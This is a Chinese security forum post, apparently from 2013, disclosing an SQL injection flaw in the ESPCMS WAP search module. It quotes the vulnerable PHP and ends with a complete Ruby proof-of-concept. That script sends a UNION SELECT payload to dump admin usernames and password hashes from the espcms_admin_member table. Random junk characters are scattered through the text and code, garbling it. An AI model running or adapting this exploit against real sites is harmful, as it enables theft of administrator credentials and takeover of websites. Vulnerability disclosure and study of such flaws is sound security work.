找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2451|回复: 0
打印 上一主题 下一主题

espcms wap模块搜索处SQL注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 18:31:52 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
0×0 漏洞概述0×1 漏洞细节  U' g7 \( f; W9 t: }. u
0×2 PoC
* J# a# v( ?. \, O- J
% @" p( K3 g9 i% `5 W$ C) E
/ K0 C+ z3 p; e! @0 R2 N' H8 b
6 J% v, M$ |' x5 U- ?8 O6 S0×0 漏洞概述1 z7 S9 d, Z1 r* ^9 R$ A
' J# v3 b; j4 ]  I; T& r4 z
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
( k/ y+ t9 j7 @& M$ q其在处理传入的参数时考虑不严谨导致SQL注入发生: O3 H: m4 k& J" F4 u/ Z% ]
( l8 M% N: E8 C! j) K# z6 l

! x) X  I+ A( V* g! K6 }5 b; {0×1 漏洞细节/ `- c* a2 Z; Z- a* ^  q

5 y: I+ b) k2 t2 q变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
0 Q. ]0 \# l! @0 F6 n: |) W正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
% T7 G2 T+ X, z1 S2 v( L而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。5 b4 |$ F2 r6 @2 q7 [& @: v

+ V" }2 ]  u2 l& Z  h& S在/interface/3gwap_search.php文件的in_result函数中:
! [1 N- A3 v! m- [
3 j* f. p% p7 x1 s- I" I5 j2 {& D, F, x. e8 ^8 g' s' t% N

. F% w. v6 I& i8 b! s       function in_result() {2 K3 z+ [/ V% `7 V9 v
            ... ... ... ... ... ... ... ... ...1 e2 x$ N$ |8 N# O1 }# W7 J8 I2 ]
            $urlcode = $_SERVER[ 'QUERY_STRING '];, X3 z+ B$ k+ ^: C. l
            parse_str(html_entity_decode($urlcode), $output);) D4 q  d7 d, [$ y$ t1 T. {8 e

' ?% q. W$ V6 e+ _9 [            ... ... ... ... ... ... ... ... ...
  d* A/ D9 B3 ?  n: g; s! v            if (is_array($output['attr' ]) && count($output['attr']) > 0) {
; p" G( [: P& A! B$ Y3 l0 e+ s+ }% M
6 o3 }6 {# @- @/ s% |                  $db_table = db_prefix . 'model_att';
) F/ d& j; y/ S
+ R* Y$ `* j3 Y2 j9 v/ p/ |                   foreach ($output['attr' ] as $key => $value) {* Y" W- g. _3 r. q4 o+ z; F  X4 a
                         if ($value) {4 e$ c# m* q9 c+ l4 W1 C% d

& C$ \8 l! h& @, l! o$ ?* D' I                              $key = addslashes($key);
2 K) F2 C8 k$ q                              $key = $this-> fun->inputcodetrim($key);
# ^5 r; o5 Y3 O                              $db_att_where = " WHERE isclass=1 AND attrname='$key'";
" d: g' P: Q% k3 J                              $countnum = $this->db_numrows($db_table, $db_att_where);
3 T' N, @  C, `7 a                               if ($countnum > 0) {
7 L, n: C1 s6 `) T. t" b                                    $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
/ P3 r, V4 G0 N* p6 \                              }
; O5 s2 a+ v, d, X                        }
0 a0 M# g" u: V" r! \$ U  ^# i                  }7 C, Q% \0 ~" a6 z6 D. ]" S
            }
/ `, y0 U# S5 c. v2 Z' C. }            if (!empty ($keyword) && empty($keyname)) {
, H6 R' J! J. A& ]" C: a                  $keyname = 'title';
& Q2 j6 `1 y9 o8 M                  $db_where.= " AND a.title like '%$keyword%'" ;! r- O$ ~2 G7 D. f
            } elseif (!empty ($keyword) && !empty($keyname)) {! D( q/ s; C6 k: Y" h4 [
                  $db_where.= " AND $keyname like '% $keyword%'";& p' r1 g( Z! ]$ n2 V. P+ U
            }/ e' f3 g. S5 g+ |$ {+ ?" k
            $pagemax = 15;3 m: \# Y* J& v- E8 Q* k& Z

$ ~6 r- P+ m4 f- Z6 q/ h& }- W8 s            $pagesylte = 1;4 Q+ \) G6 @5 {9 _* j; _6 f

/ W. t. ^2 r5 |$ D             if ($countnum > 0) {2 l  r/ {# @: G0 V7 c' l. B

. ?% C) t- p* X8 z+ K  r                  $numpage = ceil($countnum / $pagemax);7 s& g' F; s% K+ F4 _: c4 t! ]+ F
            } else {  S4 e9 [3 C( Q6 b7 L' t4 G
                  $numpage = 1;8 q7 U0 V! s- c3 f* Q( G
            }
) f% t! C3 Z7 L$ W  P% N            $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
9 Z9 D4 S  I1 X7 J8 C            $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);! g% p9 X. H/ V! F) V
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' );            $rs = $this->db->query($sql);0 X4 [, e. a- b9 V' j( k; |6 @  b' L
            ... ... ... ... ... ... ... ... ...
7 _3 j- r- r2 _0 v      }; S/ n6 J4 w, Y3 u/ w- M' M

/ h0 S) Q8 h6 I2 e( f; H+ ?( @
8 i6 q) t* [) i0×2 PoC* N7 O3 K$ o; b# T3 T! n: t; `8 h
+ _; F+ Q- B* A/ z/ G

6 T* L3 C# @  N" V3 f
  m1 G. G' y5 H) ]( f( C2 e4 Y. a# [require "net/http"
# ]. [+ R  g. a1 K( b" K
- N, e( Y" \' y1 N1 G$ k0 ndef request(method, url)/ z6 {( \2 ]/ x  z; B- I& |" _$ S
    if method.eql?("get")
8 a1 W( H! P2 E        uri = URI.parse(url)
! U' T6 k1 R  b2 M0 p        http = Net::HTTP.new(uri.host, uri.port)6 `; U& A% k1 O5 D8 c
        response = http.request(Net::HTTP::Get.new(uri.request_uri))
' r1 r+ k# t9 p        return response/ k7 W6 P6 D" ~  A% Y
    end4 f5 x" w+ N+ ?1 [. [. }7 W. r0 q3 h
end+ n% [5 k% t; u/ u1 h5 x
2 ~1 L" `9 D' v
doc =<<HERE6 j, o5 k+ ~/ l& A( A4 I
-------------------------------------------------------
6 B! L5 u4 G& O! PEspcms Injection Exploit6 ^, }0 f: |+ p( @' L6 O) O, `: P3 Z
Author:ztz# {1 x1 R9 U8 F- S; s0 Z4 j
Blog:http://ztz.fuzzexp.org/
4 \" R3 ?* b8 q( j" p# M; B8 u-------------------------------------------------------7 J9 i1 l1 M3 x$ l+ E0 n
1 ^- ]- R1 ?; i1 o* ?8 I$ R
HERE2 l* T  V: I  r; I- f6 a- U5 c# E

% z& ?8 i, \9 d" S( Nusage =<<HERE) h" m$ U, S( b' L9 B) q* \
Usage:         ruby #{$0} host port path
) M* o0 ^0 H- |+ j+ uexample:     ruby #{$0} www.target.com 80 /
4 w' a/ i/ y$ d( U, FHERE) d5 ^" H9 Z' Q# E3 x+ o1 m' N

. \9 q+ C" q7 C; @$ ?& yputs doc6 F" X3 p2 G9 }
if ARGV.length < 33 e! }5 i  \( w3 q7 Z
    puts usage5 t* I  u% }, ~! V! S2 |7 {. m9 u
else6 u4 C  e  L& I( g# _
    $host = ARGV[0]& ]  v' q$ e5 a8 h  t
    $port = ARGV[1]
! T6 h2 |" s: \  }% N; b& U; n8 T    $path = ARGV[2]
$ b2 i' E) U9 o8 `/ ~% Z2 p9 t0 ?( s
    puts "
  • send request..."
    / k& u0 Q$ u' t$ w1 M    url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
    / @& Q2 y1 _  s* l) K6 d* aattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
    , L1 v7 m, X7 d4 Q0 d5 d4 V1 R2 J2 T: i) [,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
    7 b5 L. }5 H- W+ ?; N/ A,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
    + s9 K# k+ F% d2 }8 [( k. P    response = request("get", url)& {" m: e9 W8 ~
        result = response.body.scan(/\w+&\w{32}/)1 p- s* w2 T. n+ G! N  i, C
        puts result8 x! S% N( {& H" }. Z4 O! A( _  r
    end* E$ g$ N2 r" h3 j& M+ _
    ! `, P: V8 C6 N1 {% h2 ]: r% i
  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表